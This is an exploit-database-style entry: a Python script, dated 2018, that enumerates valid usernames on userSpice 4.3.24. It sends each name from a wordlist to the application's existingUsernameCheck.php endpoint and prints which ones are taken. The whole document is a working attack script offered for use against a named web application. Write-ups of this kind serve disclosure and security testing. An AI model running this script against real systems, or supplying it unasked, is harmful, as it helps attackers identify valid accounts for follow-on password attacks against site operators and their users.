# Exploit Title: userSpice 4.3.24 - Username Enumeration
# Date: 2018-06-10
# Author: Dolev Farhi
# Vendor or Software Link: www.userspice.com
# Version: 4.3.24
# Tested on: Ubuntu
 
import sys
import os.path
import requests
 
print("[+] UserSpice 4.3.24 Username Enumeration")
 
if len(sys.argv) != 3:
    print 'Usage:', sys.argv[0], 'ip.add.re.ss', 'usernames.txt'
    sys.exit(1)
 
if not os.path.exists(sys.argv[2]):
    print('usernames.txt does not exist')
    sys.exit(1)
 
headers = {
    'Origin':'http://' + sys.argv[1],
    'X-Requested-With':'XMLHttpRequest'
}
 
print('Checking usernames...')
 
f = open(sys.argv[2], 'r')
 
for user in f:
    user = user.strip()
    req = requests.post('http://'+sys.argv[1]+'/users/parsers/existingUsernameCheck.php', headers=headers ,
                                                                                          data={"username":user})
    if 'taken' in req.text:
        print('[FOUND] ' + user)
    else:
        print('[NOT FOUND] ' + user)